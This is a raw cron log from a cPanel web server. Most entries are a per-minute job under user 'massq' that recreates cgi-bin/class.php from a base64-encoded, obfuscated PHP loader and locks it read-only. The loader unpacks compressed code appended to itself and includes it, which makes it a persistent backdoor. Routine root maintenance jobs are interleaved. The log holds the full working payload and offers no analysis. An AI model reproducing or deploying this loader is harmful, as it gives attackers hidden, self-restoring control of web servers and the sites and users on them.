Nov 15 02:54:01 server CROND[27532]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:55:01 server CROND[27807]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:55:01 server CROND[27808]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 02:55:01 server CROND[27809]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 02:56:01 server CROND[28129]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:57:01 server CROND[28395]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:57:01 server CROND[28396]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 02:58:01 server CROND[28666]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:59:01 server CROND[28957]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Nov 15 02:59:01 server CROND[28958]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:00:01 server CROND[29346]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 03:00:01 server CROND[29348]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:00:01 server CROND[29347]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 03:00:01 server CROND[29349]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 03:01:01 server CROND[29714]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:01:01 server CROND[29715]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 03:01:01 server run-parts(/etc/cron.hourly)[29715]: starting 0anacron
Nov 15 03:01:01 server anacron[29727]: Anacron started on 2025-11-15
Nov 15 03:01:01 server run-parts(/etc/cron.hourly)[29729]: finished 0anacron
Nov 15 03:01:01 server anacron[29727]: Will run job `cron.daily' in 40 min.
Nov 15 03:01:01 server anacron[29727]: Jobs will be executed sequentially
Nov 15 03:02:01 server CROND[30012]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:03:01 server CROND[30284]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:04:01 server CROND[30560]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:05:01 server CROND[30945]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 03:05:01 server CROND[30947]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 03:05:01 server CROND[30948]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:05:01 server CROND[30946]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 03:06:01 server CROND[31439]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
